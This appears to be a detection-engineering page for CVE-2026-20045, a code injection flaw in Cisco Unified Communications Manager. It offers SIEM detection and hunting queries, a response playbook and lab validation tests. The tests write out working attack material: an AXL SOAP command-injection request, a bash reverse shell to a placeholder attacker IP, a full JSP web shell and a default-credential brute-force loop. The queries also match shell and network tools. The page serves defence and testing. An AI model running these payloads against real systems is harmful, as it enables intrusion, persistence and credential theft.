CVE-2026-20045 CrowdStrike LogScale · LogScale

Detect CVE-2026-20045: Cisco Unified Communications Manager Code Injection in CrowdStrike LogScale

Detects exploitation attempts targeting CVE-2026-20045, a code injection vulnerability (CWE-94) in Cisco Unified Communications Manager. This KEV-listed vulnerability allows remote attackers to inject and execute arbitrary code. Detection focuses on anomalous process execution, unexpected web shell activity, and suspicious outbound connections originating from CUCM processes.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Lateral Movement

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName=ProcessRollup2
| ImageFileName=/(?i)(java|catalina|tomcat)/
| CommandLine=/(?i)(bash|\bsh\b|\/bin\/sh|python[23]?|perl|wget|curl|nc\b|ncat|netcat)/
| event_platform=Lin
| eval risk_label="Java/Tomcat spawned suspicious child process"
| groupBy([aid, ComputerName, UserName, ImageFileName, CommandLine, ParentBaseFileName], function=count(aid, as=event_count))
| join type=left
  [
    #event_simpleName=NetworkConnectIP4
    | RemotePort in [80, 443, 4444, 8080, 8443, 1337, 9001]
    | not RemoteAddressIP4=/^(127\.|10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01]))\./, groupBy([aid], function=collect([RemoteAddressIP4, RemotePort]))
  ]
  on aid
| sort event_count desc
| select ComputerName, UserName, ImageFileName, CommandLine, RemoteAddressIP4, RemotePort, event_count, risk_label
critical severity medium confidence

CrowdStrike Falcon LogScale query detecting Java/Tomcat spawning suspicious child processes on Linux hosts (typical Cisco UCM OS), correlated with outbound network connections to unusual ports post-process spawn.

Data Sources

CrowdStrike Falcon SensorProcessRollup2NetworkConnectIP4

Required Tables

ProcessRollup2NetworkConnectIP4

False Positives & Tuning

  • Tomcat management scripts legitimately invoking curl for health checks
  • Ansible or Chef agents running under the Tomcat service account
  • Java-based monitoring tools spawning shell commands for metric collection

Other platforms for CVE-2026-20045

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2026-20045 Code Injection via AXL SOAP Endpoint

    Expected signal: Tomcat access log entry showing POST to /axl/ with HTTP 200 or 500; if successful, process audit log showing command substitution execution under Tomcat user; /tmp/rce_test.txt created on CUCM host

  2. Test 2Simulate Java Spawning Reverse Shell on CUCM OS

    Expected signal: ProcessRollup2 event (CrowdStrike) or DeviceProcessEvents (MDE) showing bash or java process with parent java; network connection to ATTACKER_IP:4444 if reverse shell variant used

  3. Test 3Web Shell Deployment Simulation on CUCM Tomcat

    Expected signal: File creation event for .jsp file in /opt/cisco/platform/ui/; if Tomcat is running, subsequent HTTP GET requests to the new JSP path; audit log showing file write under test user account

  4. Test 4AXL Credential Brute-Force Reconnaissance

    Expected signal: Multiple HTTP 401/403 responses from CUCM to the source IP in rapid succession; authentication failure events in CUCM security logs; CommonSecurityLog or Syslog entries showing repeated failed logins

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Confirm the affected host is running Cisco Unified Communications Manager; check hostname, listening ports (2000, 2443, 8080, 8443), and service banners to validate scope.
  2. Review CUCM version against Cisco advisory cisco-sa-voice-rce-mORhqY4b to determine if the specific build is patched; unpatched KEV-listed systems should be treated as compromised until proven otherwise.
  3. Examine web server access logs (/var/log/active/syslog, Tomcat access logs) for anomalous POST requests to /ccmadmin, /axl/, /ccmservice, or /cucm-uds endpoints — focus on large payloads or requests with unusual parameter names.
  4. Check for unexpected child processes under the Cisco Tomcat JVM (PID via `ps aux | grep java`) using `pstree -p <java_pid>` to identify any shell or interpreter processes spawned as children.
  5. Correlate source IPs triggering the detection with known internal administration IPs; any external IP or unapproved internal host POSTing to admin endpoints is high priority.

Containment

  1. Isolate the affected CUCM node at the network level — apply ACLs or firewall rules to block all inbound traffic except from authorized management hosts (typically the pub/sub cluster and approved admin workstations) while preserving cluster communication for call continuity assessment.
  2. If active exploitation is confirmed, take the node offline from the cluster (`utils cluster deactivate` from CLI or Cisco Unified OS Administration) and redirect calls to redundant subscriber nodes to maintain voice services.
  3. Reset all CUCM administrative account credentials (OS Admin, Application User, CCMAdministrator) and rotate AXL integration credentials used by third-party platforms.
  4. Block or null-route any external IPs identified as attack sources at the perimeter firewall.

Evidence Collection

  1. Capture full disk image or at minimum collect /var/log/active/, /opt/cisco/platform/log/, Tomcat access logs (/usr/local/cm/log/), and any newly created files in web-accessible directories (/opt/cisco/platform/ui/) before patching or reimaging.
  2. Export running process list, active network connections (`netstat -antp`), and cron jobs (`crontab -l -u ciscocm`); collect /tmp and /var/tmp directory listings for dropped payloads or web shells.
  3. Pull authentication logs from Cisco Unified OS Administration and AXL audit logs to identify the timeframe and credentials used during the attack.
  4. Capture packet capture (CUCM has built-in PCAP via `utils network capture`) focused on admin-plane ports (8443, 443) for the suspected exploitation window.

Escalation Criteria

  • !Escalate immediately to CIRT if a web shell or reverse shell is confirmed — Cisco UCM stores voicemail credentials, PSTN gateway credentials, and may have LDAP integration exposing directory credentials, making lateral movement highly likely.
  • !Escalate to management and legal/compliance if the system processes emergency services (E911) traffic, as compromise could constitute a life-safety risk and may trigger regulatory notification obligations.
  • !Escalate if the exploit source IP is linked to known threat actor infrastructure or if exploitation is observed across multiple CUCM nodes simultaneously, indicating a coordinated campaign.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Tomcat access logs at /usr/local/cm/log/ or /var/log/active/ showing anomalous POST requests with large bodies to AXL or admin endpoints
  • >New or modified JSP/WAR files in /opt/cisco/platform/ui/ or Tomcat webapps directories indicating web shell deployment
  • >Bash history or audit logs showing unexpected commands run under the ciscocm or root accounts, particularly network reconnaissance or download commands
  • >Crontab entries or systemd units added post-initial-compromise for persistence
  • >Network socket connections to unusual external IPs from Java process (visible via `netstat -antp | grep java`)

Tuning Guidance

Start by building an allowlist of authorized CUCM management hosts (typically dedicated admin workstations and integration servers) and reduce false positives by excluding their IPs from HTTP-based detections. For process-based detections, the Java→shell spawn pattern is high-fidelity on well-maintained CUCM systems where shell execution from Tomcat is not part of normal operations; if your environment uses automation frameworks that invoke shell under Tomcat, capture those parent process names and command patterns in an exclusion list. Tune the AXL payload size threshold based on your largest legitimate integration payloads — run the hunting query in passive mode for 2 weeks to establish a baseline before setting the alerting threshold. Chronicle and EQL sequence rules should be tuned first in a lab environment mirroring your CUCM version to validate event field mappings, as Cisco syslog formats vary across UCM releases.

Hunting Queries

Hunt for any historical instances of Java/Tomcat spawning shell interpreters on CUCM hosts — a reliable indicator of code injection exploitation even if the initial request was not logged.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(30d)
| where InitiatingProcessFileName has_any ("java", "catalina")
| where FileName in~ ("sh", "bash", "python", "python3", "perl", "wget", "curl", "nc", "ncat")
| where DeviceName has_any ("cucm", "callmanager", "ucm")
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by TimeGenerated desc
Hunting — SPL
spl 
index=* (sourcetype=cisco:ucm OR host=*cucm* OR host=*callmanager*)
| rex field=_raw "(?i)parent_process=(?P<parent_proc>[^\s]+)"
| rex field=_raw "(?i)process=(?P<child_proc>[^\s]+)"
| where match(parent_proc, "(?i)(java|tomcat|catalina)")
  AND match(child_proc, "(?i)(bash|sh|python|perl|wget|curl|nc)")
| table _time, host, parent_proc, child_proc, _raw
| sort - _time

Hunt for anomalous POST request volumes and payload sizes to CUCM management interfaces — large or high-frequency payloads to AXL/admin APIs may indicate exploit delivery or data exfiltration.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DestinationHostName has_any ("cucm", "callmanager", "ucm") or DeviceName has_any ("cucm", "callmanager", "ucm")
| where RequestURL has_any ("/axl/", "/ccmadmin", "/ccmservice", "/realtimeservice2")
| where RequestMethod == "POST"
| summarize RequestCount=count(), AvgBodySize=avg(RequestBodyLength), MaxBodySize=max(RequestBodyLength) by SourceIP, RequestURL, bin(TimeGenerated, 1h)
| where MaxBodySize > 1000 or RequestCount > 50
| sort by MaxBodySize desc
Hunting — SPL
spl 
index=* sourcetype=cisco:ucm uri IN ("*axl*","*ccmadmin*","*ccmservice*","*realtimeservice2*") method=POST
| eval payload_size=len(request_body)
| stats count as req_count, avg(payload_size) as avg_size, max(payload_size) as max_size by src_ip, uri, host
| where max_size > 1000 OR req_count > 50
| sort - max_size

Atomic Red Team Tests

Test 1 CVE-2026-20045 Code Injection via AXL SOAP Endpoint
linux

Simulates exploitation of the code injection vulnerability by sending a crafted SOAP request to the CUCM AXL API endpoint with an injected OS command payload embedded in a parameter value. Lab environment only — requires a test CUCM instance.

Command

bash 
curl -sk -X POST https://CUCM_LAB_IP:8443/axl/ \
  -H 'Content-Type: text/xml' \
  -H 'SOAPAction: CUCM:DB ver=14.0 addLine' \
  -u 'admin:lab_password' \
  -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.cisco.com/AXL/API/14.0"><soapenv:Header/><soapenv:Body><ns:addLine sequence="??"><line><pattern>$(id > /tmp/rce_test.txt)</pattern><usage>Device</usage><routePartitionName>PT_Internal</routePartitionName></line></ns:addLine></soapenv:Body></soapenv:Envelope>'

Cleanup

bash 
ssh admin@CUCM_LAB_IP 'rm -f /tmp/rce_test.txt'

Expected Telemetry

Tomcat access log entry showing POST to /axl/ with HTTP 200 or 500; if successful, process audit log showing command substitution execution under Tomcat user; /tmp/rce_test.txt created on CUCM host

Expected Detection

KQL/SPL query triggers on large POST body to /axl/ endpoint; EQL sequence rule triggers if followed by file creation event

Test 2 Simulate Java Spawning Reverse Shell on CUCM OS
linux

Directly simulates the post-exploitation process spawn pattern that would result from successful CVE-2026-20045 exploitation — a Java process spawning a bash reverse shell. Run on a Linux test host to generate detectable telemetry without requiring a real CUCM.

Command

bash 
# On test host simulating CUCM — sets hostname to match detection pattern
sudo hostname callmanager-lab
# Simulate Java spawning bash (replace ATTACKER_IP with lab listener)
java -jar /usr/share/java/commons-lang.jar -cp . org.apache.commons.lang.NotImplementedException 2>/dev/null || \
  bash -c 'bash -i >& /dev/tcp/LAB_ATTACKER_IP/4444 0>&1' &
# Simpler simulation without network:
bash -c 'exec -a java bash -c "bash -i"' &

Cleanup

bash 
kill %1 2>/dev/null; sudo hostname original-hostname

Expected Telemetry

ProcessRollup2 event (CrowdStrike) or DeviceProcessEvents (MDE) showing bash or java process with parent java; network connection to ATTACKER_IP:4444 if reverse shell variant used

Expected Detection

CrowdStrike CQL triggers on ProcessRollup2 matching Java parent pattern; EQL sequence rule triggers on process start followed by outbound network event; Chronicle YARA-L triggers on PROCESS_LAUNCH event matching parent/child pattern

Test 3 Web Shell Deployment Simulation on CUCM Tomcat
linux

Simulates the persistence step following CVE-2026-20045 exploitation where an attacker drops a JSP web shell into the Tomcat webapps directory. Tests file-creation based detections and forensic artifact generation.

Command

bash 
# Requires test CUCM or Linux host with Tomcat installed
# Drop minimal JSP web shell in webapps directory
cat > /opt/cisco/platform/ui/health_monitor_lab.jsp << 'EOF'
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
  Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
  InputStream is = p.getInputStream();
  int i;
  while((i=is.read())!=-1) out.print((char)i);
}
%>
EOF
echo '[LAB] Web shell written to Tomcat webapps. Test with: curl http://localhost:8080/health_monitor_lab.jsp?cmd=id'

Cleanup

bash 
rm -f /opt/cisco/platform/ui/health_monitor_lab.jsp

Expected Telemetry

File creation event for .jsp file in /opt/cisco/platform/ui/; if Tomcat is running, subsequent HTTP GET requests to the new JSP path; audit log showing file write under test user account

Expected Detection

EQL sequence rule triggers on file creation event following process spawn; Sumo Logic and Splunk queries trigger if file path monitoring is configured; forensic artifact present for incident response collection

Test 4 AXL Credential Brute-Force Reconnaissance
linux

Simulates pre-exploitation reconnaissance against CUCM AXL interface — testing whether the AXL endpoint is accessible and probing for valid credentials. This pattern often precedes CVE-2026-20045 exploitation and may indicate threat actor staging.

Command

bash 
# Enumerate AXL endpoint availability and test common default credentials (lab only)
for cred in 'admin:cisco' 'admin:admin' 'administrator:cisco123' 'ccmadmin:cisco'; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  resp=$(curl -sk -o /dev/null -w '%{http_code}' -X POST https://CUCM_LAB_IP:8443/axl/ \
    -H 'Content-Type: text/xml' \
    -u "$user:$pass" \
    -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body></soapenv:Body></soapenv:Envelope>')
  echo "Credential $cred -> HTTP $resp"
done

Cleanup

bash 
No cleanup required — no changes made to target system

Expected Telemetry

Multiple HTTP 401/403 responses from CUCM to the source IP in rapid succession; authentication failure events in CUCM security logs; CommonSecurityLog or Syslog entries showing repeated failed logins

Expected Detection

Sumo Logic and QRadar queries detect repeated POSTs to /axl/ from same source; SIEM correlation rule for brute-force (5+ auth failures in 60s) triggers; may appear as low-severity precursor alert before main exploitation detection fires

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003PersistenceTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505.003Web ShellT1078Valid Accounts

Same Tactic: Initial Access

Popular Detections